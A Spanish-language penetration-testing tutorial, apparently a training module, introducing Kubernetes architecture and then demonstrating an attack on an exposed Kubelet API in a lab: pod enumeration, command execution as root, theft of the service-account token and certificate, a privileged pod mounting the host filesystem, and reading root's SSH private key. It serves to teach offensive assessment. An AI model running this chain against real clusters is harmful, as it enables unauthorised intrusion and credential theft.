Page cover image

🐧Kubernetes

IntroducciΓ³n

Kubernetes , tambiΓ©n conocido como K8s, se destaca como una tecnologΓ­a revolucionaria que ha tenido un impacto significativo en el panorama del desarrollo de software. Esta plataforma ha transformado por completo el proceso de implementaciΓ³n y gestiΓ³n de aplicaciones, brindando un enfoque mΓ‘s eficiente y optimizado. Al ofrecer una arquitectura de cΓ³digo abierto, Kubernetes ha sido diseΓ±ado especΓ­ficamente para facilitar una implementaciΓ³n, escalado y gestiΓ³n mΓ‘s rΓ‘pidos y sencillos de los contenedores de aplicaciones.

Kubernetes, desarrollado por Google, aprovecha mΓ‘s de una dΓ©cada de experiencia en la ejecuciΓ³n de cargas de trabajo complejas. Como resultado, se ha convertido en una herramienta fundamental en el universo DevOps para la orquestaciΓ³n de microservicios. Desde su creaciΓ³n, Kubernetes ha sido donado a la Cloud Native Computing Foundation , donde se ha convertido en el estΓ‘ndar de oro de la industria. Comprender los aspectos de seguridad de los contenedores K8 es crucial. Probablemente podamos acceder a uno de los muchos contenedores durante nuestra prueba de penetraciΓ³n.

Una de las caracterΓ­sticas clave de Kubernetes es su adaptabilidad y compatibilidad con diversos entornos. Esta plataforma ofrece una amplia gama de funciones que permiten a los desarrolladores y administradores de sistemas configurar, automatizar y escalar fΓ‘cilmente sus implementaciones y aplicaciones. Como resultado, Kubernetes se ha convertido en una soluciΓ³n de referencia para las organizaciones que buscan optimizar sus procesos de desarrollo y mejorar la eficiencia.

Kubernetes es un sistema de orquestaciΓ³n de contenedores que funciona ejecutando todas las aplicaciones en contenedores aislados del sistema host a travΓ©s de multiple layers of protection. Este enfoque garantiza que las aplicaciones no se vean afectadas por los cambios en el sistema host, como actualizaciones o parches de seguridad. La arquitectura de K8s comprende una master nodey worker nodes, cada una con funciones especΓ­ficas.


Concepto K8s

Kubernetes gira en torno al concepto de pods, que pueden contener uno o mΓ‘s contenedores estrechamente conectados. Cada pod funciona como una mΓ‘quina virtual independiente en un nodo, con su propia IP, nombre de host y otros detalles. Kubernetes simplifica la gestiΓ³n de varios contenedores al ofrecer herramientas para el equilibrio de carga, el descubrimiento de servicios, la orquestaciΓ³n del almacenamiento, la autorreparaciΓ³n y mΓ‘s. A pesar de los desafΓ­os en seguridad y gestiΓ³n, K8s continΓΊa creciendo y mejorando con funciones como Role-Based Access Control( RBAC), Network Policies y Security Contexts, que brindan un entorno mΓ‘s seguro para las aplicaciones.

Diferencias entre K8 y Docker

FunciΓ³n

Estibador

Kubernetes

Primary

Plataforma para contenerizar aplicaciones

Una herramienta de orquestaciΓ³n para gestionar contenedores

Scaling

Escalado manual con Docker Swarm

Escalado automΓ‘tico

Networking

Red ΓΊnica

Red compleja con polΓ­ticas

Storage

VolΓΊmenes

Amplia gama de opciones de almacenamiento

La arquitectura de Kubernetes se divide principalmente en dos tipos de componentes:

  • Control Plane (nodo maestro), que es responsable de controlar el clΓΊster de Kubernetes

  • Worker Nodes (minions), donde se ejecutan las aplicaciones en contenedores

Nodos

El nodo maestro aloja el Kubernetes Control Plane, que administra y coordina todas las actividades dentro del clΓΊster y tambiΓ©n garantiza que se mantenga el estado deseado del clΓΊster. Por otro lado, los Minions ejecutan las aplicaciones reales y recibe instrucciones del plano de control y garantiza que se alcance el estado deseado.

Ofrece versatilidad para adaptarse a diversas necesidades, como soporte para bases de datos, cargas de trabajo de IA/ML y microservicios nativos de la nube. AdemΓ‘s, es capaz de administrar aplicaciones de alto consumo de recursos en el borde y es compatible con diferentes plataformas. Por lo tanto, se puede utilizar en servicios de nube pΓΊblica como Google Cloud, Azure y AWS o en centros de datos locales privados.

Plano de control

El plano de control funciona como capa de gestiΓ³n y consta de varios componentes cruciales, entre ellos:

Servicio

Puertos TCP

etcd

2379,2380

API server

6443

Scheduler

10251

Controller Manager

10252

Kubelet API

10250

Read-Only Kubelet API

10255

Estos elementos permiten al Control Plane tomar decisiones y proporcionar una visiΓ³n integral de todo el clΓΊster.

Minions

En un entorno de contenedores, los Minions funcionan como la ubicaciΓ³n designada para ejecutar aplicaciones. Es importante tener en cuenta que cada nodo estΓ‘ administrado y regulado por el plano de control, lo que ayuda a garantizar que todos los procesos que se ejecutan dentro de los contenedores funcionen de manera fluida y eficiente.

El Scheduler, basado en el API server, comprende el estado del clΓΊster y programa nuevos pods en los nodos segΓΊn corresponda. DespuΓ©s de decidir en quΓ© nodo se debe ejecutar un pod, el servidor API actualiza el etcd.

Comprender cΓ³mo interactΓΊan estos componentes es fundamental para comprender el funcionamiento de Kubernetes. El servidor API es el punto de entrada para todos los comandos administrativos, ya sea de los usuarios a travΓ©s de kubectl o de los controladores. Este servidor se comunica con etcd para obtener o actualizar el estado del clΓΊster.

Medidas de seguridad de K8

La seguridad de Kubernetes se puede dividir en varios dominios:

  • Seguridad de la infraestructura del clΓΊster

  • Seguridad de la configuraciΓ³n del clΓΊster

  • Seguridad de la aplicaciΓ³n

  • Seguridad de datos

Cada dominio incluye mΓΊltiples capas y elementos que los desarrolladores y administradores deben proteger y gestionar adecuadamente.


API de Kubernetes

El nΓΊcleo de la arquitectura de Kubernetes es su API, que sirve como el principal punto de contacto para todas las interacciones internas y externas. La API de Kubernetes se ha diseΓ±ado para admitir el control declarativo, lo que permite a los usuarios definir el estado deseado para el sistema. Esto permite que Kubernetes tome las medidas necesarias para implementar el estado deseado.

El kube-apiserver es responsable de alojar la API, que maneja y verifica las solicitudes RESTful para modificar el estado del sistema. Estas solicitudes pueden implicar la creaciΓ³n, modificaciΓ³n, eliminaciΓ³n y recuperaciΓ³n de informaciΓ³n relacionada con varios recursos dentro del sistema. En general, la API de Kubernetes desempeΓ±a un papel crucial a la hora de facilitar la comunicaciΓ³n y el control sin problemas dentro del clΓΊster de Kubernetes.

Dentro del marco de Kubernetes, un recurso de API funciona como un punto final que alberga una colecciΓ³n especΓ­fica de objetos de API. Estos objetos pertenecen a una categorΓ­a particular e incluyen elementos esenciales como pods, servicios e implementaciones, entre otros. Cada recurso ΓΊnico viene equipado con un conjunto distinto de operaciones que se pueden ejecutar, que incluyen, entre otras:

Pedido

DescripciΓ³n

GET

Recupera informaciΓ³n sobre un recurso o una lista de recursos.

POST

Crea un nuevo recurso.

PUT

Actualiza un recurso existente.

PATCH

Aplica actualizaciones parciales a un recurso.

DELETE

Elimina un recurso.

AutenticaciΓ³n

En tΓ©rminos de autenticaciΓ³n, Kubernetes admite varios mΓ©todos, como certificados de cliente, tokens de portador, un proxy de autenticaciΓ³n o autenticaciΓ³n bΓ‘sica HTTP, que sirven para verificar la identidad del usuario. Una vez que el usuario ha sido autenticado, Kubernetes aplica las decisiones de autorizaciΓ³n mediante el control de acceso basado en roles (Role-Based Access Control, RBAC). Esta tΓ©cnica implica asignar roles especΓ­ficos a usuarios o procesos con los permisos correspondientes para acceder y operar en los recursos. Por lo tanto, el proceso de autenticaciΓ³n y autorizaciΓ³n de Kubernetes es una medida de seguridad integral que garantiza que solo los usuarios autorizados puedan acceder a los recursos y realizar operaciones.

En Kubernetes, se puede configurar Kubelet para permitir acceso anΓ³nimo. De forma predeterminada, Kubelet permite el acceso anΓ³nimo. Las solicitudes anΓ³nimas se consideran no autenticadas, lo que implica que cualquier solicitud realizada a Kubelet sin un certificado de cliente vΓ‘lido se tratarΓ‘ como anΓ³nima. Esto puede ser problemΓ‘tico ya que cualquier proceso o usuario que pueda acceder a la API de Kubelet puede realizar solicitudes y recibir respuestas, lo que podrΓ­a exponer informaciΓ³n confidencial o dar lugar a acciones no autorizadas.

InteracciΓ³n con el servidor API de K8

cry0l1t3@k8:~$ curl https://10.129.10.11:6443 -k

{
	"kind": "Status",
	"apiVersion": "v1",
	"metadata": {},
	"status": "Failure",
	"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
	"reason": "Forbidden",
	"details": {},
	"code": 403
}

Por lo general System:anonymous representa un usuario no autenticado, lo que significa que no hemos proporcionado credenciales vΓ‘lidas o que estamos intentando acceder al servidor API de forma anΓ³nima. En este caso, intentamos acceder a la ruta raΓ­z, lo que otorgarΓ­a un control significativo sobre el clΓΊster de Kubernetes si se logra. De forma predeterminada, el acceso a la ruta raΓ­z generalmente estΓ‘ restringido a usuarios autenticados y autorizados con privilegios administrativos y el servidor API rechazΓ³ la solicitud, respondiendo con un cΓ³digo de estado 403 Forbidden en consecuencia.

API de Kubelet: ExtracciΓ³n de pods

cry0l1t3@k8:~$ curl https://10.129.10.11:10250/pods -k | jq .

...SNIP...
{
  "kind": "PodList",
  "apiVersion": "v1",
  "metadata": {},
  "items": [
    {
      "metadata": {
        "name": "nginx",
        "namespace": "default",
        "uid": "aadedfce-4243-47c6-ad5c-faa5d7e00c0c",
        "resourceVersion": "491",
        "creationTimestamp": "2023-07-04T10:42:02Z",
        "annotations": {
          "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"nginx\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"imagePullPolicy\":\"Never\",\"name\":\"nginx\",\"ports\":[{\"containerPort\":80}]}]}}\n",
          "kubernetes.io/config.seen": "2023-07-04T06:42:02.263953266-04:00",
          "kubernetes.io/config.source": "api"
        },
        "managedFields": [
          {
            "manager": "kubectl-client-side-apply",
            "operation": "Update",
            "apiVersion": "v1",
            "time": "2023-07-04T10:42:02Z",
            "fieldsType": "FieldsV1",
            "fieldsV1": {
              "f:metadata": {
                "f:annotations": {
                  ".": {},
                  "f:kubectl.kubernetes.io/last-applied-configuration": {}
                }
              },
              "f:spec": {
                "f:containers": {
                  "k:{\"name\":\"nginx\"}": {
                    ".": {},
                    "f:image": {},
                    "f:imagePullPolicy": {},
                    "f:name": {},
                    "f:ports": {
					...SNIP...

La informaciΓ³n que se muestra en la salida incluye los names, namespaces, creation timestamps y container images de los pods. TambiΓ©n muestra los last applied configuration de cada pod, que pueden contener detalles confidenciales sobre las imΓ‘genes de los contenedores y sus polΓ­ticas de extracciΓ³n.

Comprender las imΓ‘genes de contenedores y sus versiones utilizadas en el clΓΊster nos puede permitir identificar vulnerabilidades conocidas y explotarlas para obtener acceso no autorizado al sistema. La informaciΓ³n del espacio de nombres puede brindar informaciΓ³n sobre cΓ³mo se organizan los pods y los recursos dentro del clΓΊster, que podemos usar para apuntar a espacios de nombres especΓ­ficos con vulnerabilidades conocidas. TambiΓ©n podemos usar metadatos como uid y resourceVersion para realizar reconocimientos y reconocer objetivos potenciales para futuros ataques. Revelar la ΓΊltima configuraciΓ³n aplicada puede exponer potencialmente informaciΓ³n confidencial, como contraseΓ±as, secretos o tokens de API, utilizados durante la implementaciΓ³n de los pods.

Kubeletctl - ExtracciΓ³n de pods

Podemos analizar mΓ‘s a fondo los pods con el siguiente comando:

cry0l1t3@k8:~$ kubeletctl -i --server 10.129.10.11 pods

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                                Pods from Kubelet                               β”‚
β”œβ”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   β”‚ POD                                β”‚ NAMESPACE   β”‚ CONTAINERS              β”‚
β”œβ”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ 1 β”‚ coredns-78fcd69978-zbwf9           β”‚ kube-system β”‚ coredns                 β”‚
β”‚   β”‚                                    β”‚             β”‚                         β”‚
β”œβ”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ 2 β”‚ nginx                              β”‚ default     β”‚ nginx                   β”‚
β”‚   β”‚                                    β”‚             β”‚                         β”‚
β”œβ”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ 3 β”‚ etcd-steamcloud                    β”‚ kube-system β”‚ etcd                    β”‚
β”‚   β”‚                                    β”‚             β”‚                         β”‚
β”œβ”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€

API de Kubelet: comandos disponibles

Para interactuar de manera eficaz con los pods dentro del entorno de Kubernetes, es importante comprender claramente los comandos disponibles. Un enfoque que puede resultar especialmente ΓΊtil es utilizar el comando scan rce en kubeletctl. Este comando proporciona informaciΓ³n valiosa y permite una gestiΓ³n eficiente de los pods.

cry0l1t3@k8:~$ kubeletctl -i --server 10.129.10.11 scan rce

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                                   Node with pods vulnerable to RCE                                  β”‚
β”œβ”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€
β”‚   β”‚ NODE IP      β”‚ PODS                               β”‚ NAMESPACE   β”‚ CONTAINERS              β”‚ RCE β”‚
β”œβ”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€
β”‚   β”‚              β”‚                                    β”‚             β”‚                         β”‚ RUN β”‚
β”œβ”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€
β”‚ 1 β”‚ 10.129.10.11 β”‚ nginx                              β”‚ default     β”‚ nginx                   β”‚ +   β”‚
β”œβ”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€
β”‚ 2 β”‚              β”‚ etcd-steamcloud                    β”‚ kube-system β”‚ etcd                    β”‚ -   β”‚
β”œβ”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€

API de Kubelet: EjecuciΓ³n de comandos

TambiΓ©n podemos interactuar con un contenedor de forma interactiva y obtener informaciΓ³n sobre el alcance de nuestros privilegios dentro de Γ©l. Esto nos permite comprender mejor nuestro nivel de acceso y control sobre el contenido del contenedor.

cry0l1t3@k8:~$ kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx

uid=0(root) gid=0(root) groups=0(root)

El resultado del comando muestra que el usuario actual que ejecuta el comando id dentro del contenedor tiene privilegios de root. Esto indica que hemos obtenido acceso administrativo dentro del contenedor, lo que podrΓ­a generar vulnerabilidades de escalada de privilegios. Si obtenemos acceso a un contenedor con privilegios de root, podemos realizar mΓ‘s acciones en el sistema host o en otros contenedores.


Escalada de privilegios

Para obtener mayores privilegios y acceder al sistema host, podemos utilizar una herramienta llamada kubeletctl para obtener los datos de la cuenta de servicio de Kubernetes token y certificate( ca.crt) del servidor. Para ello, debemos proporcionar la direcciΓ³n IP del servidor, el espacio de nombres y el pod de destino. En caso de que obtengamos este token y certificado, podemos elevar nuestros privilegios aΓΊn mΓ‘s, movernos horizontalmente por todo el clΓΊster o acceder a pods y recursos adicionales.

API de Kubelet: extracciΓ³n de tokens

cry0l1t3@k8:~$ kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token

eyJhbGciOiJSUzI1NiIsImtpZC...SNIP...UfT3OKQH6Sdw

API de Kubelet: extracciΓ³n de certificados

cry0l1t3@k8:~$ kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt

-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
<SNIP>
MhxgN4lKI0zpxFBTpIwJ3iZemSfh3pY2UqX03ju4TreksGMkX/hZ2NyIMrKDpolD
602eXnhZAL3+dA==
-----END CERTIFICATE-----

Ahora que tenemos tanto token y certificate, podemos verificar los derechos de acceso en el clΓΊster de Kubernetes. Esto se usa comΓΊnmente para auditorΓ­a y verificaciΓ³n para garantizar que los usuarios tengan el nivel correcto de acceso y no se les otorguen mΓ‘s privilegios de los que necesitan. Sin embargo, podemos usarlo para nuestros fines y podemos consultar a K8s si tenemos permiso para realizar diferentes acciones en varios recursos.

Lista de privilegios

cry0l1t3@k8:~$ export token=`cat k8.token`
cry0l1t3@k8:~$ kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list

Resources										Non-Resource URLs	Resource Names	Verbs 
selfsubjectaccessreviews.authorization.k8s.io		[]					[]				[create]
selfsubjectrulesreviews.authorization.k8s.io		[]					[]				[create]
pods											[]					[]				[get create list]
...SNIP...

AquΓ­ podemos ver informaciΓ³n muy importante. AdemΓ‘s de los recursos selfsubject, podemos ver los pods get, create y list, que son los recursos que representan el contenedor en ejecuciΓ³n en el clΓΊster. A partir de aquΓ­, podemos crear un archivo YAML que podemos usar para crear un nuevo contenedor y montar todo el sistema de archivos raΓ­z desde el sistema host en el directorio /root de este contenedor. A partir de ahΓ­, podemos acceder a los archivos y directorios de los sistemas host. El archivo YAML podrΓ­a verse asΓ­:

Pod YAML

apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true

Una vez creado, ahora podemos crear el nuevo pod y verificar si se estΓ‘ ejecutando como se espera.

Creando un nuevo Pod

cry0l1t3@k8:~$ kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml

pod/privesc created


cry0l1t3@k8:~$ kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods

NAME	READY	STATUS	RESTARTS	AGE
nginx	1/1		Running	0			23m
privesc	1/1		Running	0			12s

Si el pod se estΓ‘ ejecutando, podemos ejecutar el comando y podrΓ­amos generar un shell inverso o recuperar datos confidenciales como la clave SSH privada del usuario root.

Extraer la clave SSH de root

cry0l1t3@k8:~$ kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc

-----BEGIN OPENSSH PRIVATE KEY-----
...SNIP...

Última actualización

ΒΏTe fue ΓΊtil?